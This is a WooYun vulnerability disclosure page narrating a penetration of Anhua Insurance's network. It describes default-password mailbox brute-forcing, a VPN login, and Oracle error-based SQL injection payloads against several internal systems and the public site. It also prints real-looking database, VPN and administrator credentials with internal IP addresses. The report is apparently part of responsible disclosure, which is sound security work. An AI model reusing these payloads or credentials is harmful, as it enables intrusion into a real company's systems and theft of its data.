当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102350

漏洞标题：安华保险大部分内部系统沦陷和内部资料泄漏（送主站注入）

相关厂商：安华保险

漏洞作者： _Thorns

提交时间：2015-03-19 15:47

修复时间：2015-05-04 11:10

公开时间：2015-05-04 11:10

漏洞类型：内部绝密信息泄漏

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-19： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开

简要描述：

http://www.wooyun.org/bugs/wooyun-2015-0102250 在测试这个漏洞的时候，突然间发现广告插入了一条安华保险的信息，so...熬了个通宵测试了下...能有闪电吗0 0，人家也想要核心...好期待~！

详细说明：

WooYun: 中国国际航空机组连接系统某账户泄露 在测试这个漏洞的时候，突然间发现插入了一条安华保险的信息，so...测试测试
大数据找到一个邮箱。
soc@ahic.com.cn
1qaz@WSX
邮箱登陆成功

QQ截图20150319153928.jpg


a-z 0-9 遍历所有邮箱进行提取

2.jpg


1.jpg


大概提取出来1200多个邮箱地址，然后基于owa的规则,尝试用1qaz@WSX爆破...
爆破的结果我就不贴出来了...1qaz@WSX是默认口令，大概百分之20的人都没有去更改。
挑了一个运营人员的邮箱来登录。

2.jpg


获取VPN地址和帐号：

VPN
https://221.8.57.109/SSL/user/PasswordLogin.jsp
zhouyuming  1234


连接VPN到内网

3.jpg


----------------------------------------------------------------------
内网真的是一堆漏洞阿！！！因为系统太多了，我就不一一贴图了...能说明问题就好啦，对吗？^_^
1、单证管理系统SQL注入

http://10.0.5.20:7003/visa/logonin.do?UIAction=LogOn
post:prpDuserUserCode=000000000'and utl_inaddr.get_host_address((SELECT version FROM v$instance))=0 and '1'='1&prpDuserPassword=%27&image.x=38&image.y=7


2、统计分析系统
weblogic的弱口令，可直接部署war包获取权限；

统计分析系统.png


3、销售管理系统SQL注入

http://10.0.5.20:7018/sales/login.do


post:actionType=login&userCode=00'and/**/utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE banner LIKE 'TNS%'))=0--&systemCode=sales&password=232323&comCode=3&comName=&imageField.x=133&imageField.y=15


4、上报信息查询系统SQL注入

http://10.0.5.20:7008/circreport/logonin.do


post：prpDuserUserCode=000000000'and utl_inaddr.get_host_address((SELECT version FROM v$instance))=0--&prpDuserPassword=4334&imageField.x=43&imageField.y=10


再保系统也是上述的问题，不知道你们的开发...是什么个情况？ 每个系统漏洞都差不多
5、财务查询系统

http://10.0.5.20:7005/account/common/pub/UILogonSubmit.jsp


post提交：
UserCode=000000000'and utl_inaddr.get_host_address((SELECT version FROM v$instance))=0 and '1'='1&Password=&image.x=23&image.y=8


6、统一办公平台后台管理源码泄漏（开发把源码传到github上了，这种共享精神不错，但是...要把握分寸呀！~）

4.jpg


5.jpg


统一办公平台连接了基本上所有的系统...所以基本上所有的系统数据库都沦陷了..
核心业务系统、车险理赔工作流系统、销售管理系统、激活卡系统、再保险系统、核保核赔系统、上报信息系统、

<!-- 数据接口 开始 -->
	
	<bean id="jdbcdataSourceFMS" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="com.microsoft.jdbc.sqlserver.SQLServerDriver"/>
		<property name="url" value="jdbc:microsoft:sqlserver://10.9.195.8:1066;DatabaseName=crewpub"/>
		<property name="username" value="fss"/>
		<property name="password" value="fss"/>
	</bean>
	
	<bean id="jdbcDataSourceHR" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="com.microsoft.jdbc.sqlserver.SQLServerDriver"/>
		<property name="url" value="jdbc:microsoft:sqlserver://10.10.101.73:1433;"/>
		<property name="username" value="fss"/>
		<property name="password" value="fss"/>
	</bean>
	
	<bean id="dataSourceHR" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.7.43)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=ahic)))"/>
		<property name="username" value="ahicehr"/>
		<property name="password" value="ahicehr20130702"/>          
	</bean>
	
	<bean id="dataSourceOA" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="com.microsoft.jdbc.sqlserver.SQLServerDriver"/>
		<property name="url" value="jdbc:microsoft:sqlserver://10.0.7.29:1433;DatabaseName=ecology"/>
		<property name="username" value="oaviewinfo"/>
		<property name="password" value="oaviewinfo"/>
	</bean>
	
	<bean id="dataSourceAHDB" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.5.36)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=ahdb)))"/>
		<property name="username" value="ahicquery"/>
		<property name="password" value="ahicquery321"/>          
	</bean>
	<bean id="dataSourceRZ" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.7.50)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=LMS)))"/>
		<property name="username" value="sso"/>
		<property name="password" value="123456"/>          
	</bean>
	<bean id="dataSourceFK" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.5.47)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=hec)))"/>
		<property name="username" value="PORTAL"/>
		<property name="password" value="PORTAL2WSX"/>          
	</bean>
	<bean id="dataSourceTJ" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.5.43)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=ahdb)))"/>
		<property name="username" value="biportal"/>
		<property name="password" value="biportal"/>          
	</bean>
	
	<bean id="jdbcdataSourcefss2" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="oracle.jdbc.OracleDriver"/>
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.9.194.118)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=SMSDB)))"/>
		<property name="username" value="fss"/>
		<property name="password" value="cafss10"/>          
	</bean>


由于数据“很黄很暴力”，所以我觉得打码处理、

6.jpg


财务数据库接口：

华与财务系统联调文档
数据库地址：10.0.7.121
服务名：AHDB
用户名：importmid
密码：passw0rd
余额表：subjectbal_import
凭证表：voucher_import
数据库地址：10.0.7.75
服务名：AHDB
用户名：import
密码：ahpassw0rd
余额表：subjectbal_import
凭证表：voucher_import


10.0.7.59数据库部署完成。
数据库链接用户名和密码如下：
User ID=sa; Password=1qaz@WSX;
数据库10.100.0.29已部署完毕。本次部署数据库为带01后缀的。
用户名，密码如下。
User ID=sa; Password=1qaz@WSX;


10.0.5.45@administrator;1qaz@WSX
10.0.5.67@administrator;1qaz@WSX
10.0.5.53@administrator;1qaz@WSX
10.0.5.51@administrator;1qaz@WSX
……………
不贴了...还有很多自己查把，1qaz@WSX简直就是一卡通！！！
----------------------------------------------------
这会应该已经快结束了呢，不过没拿到官网也是挺可惜的，虽然说我有信心拿下官网...只是不想或是说不敢深入下去了。附上官网一个注入，来结束这个短暂的渗透测试吧！

http://www.ahic.com.cn:7005/EbsWeb/getUnderwrite.do?firstFlag=true&UIAction=noticeQurey&id=1


1.jpg

漏洞证明：

1.jpg

修复方案：

版权声明：转载请注明来源 _Thorns@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-03-20 11:09

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位通报。

最新状态：

暂无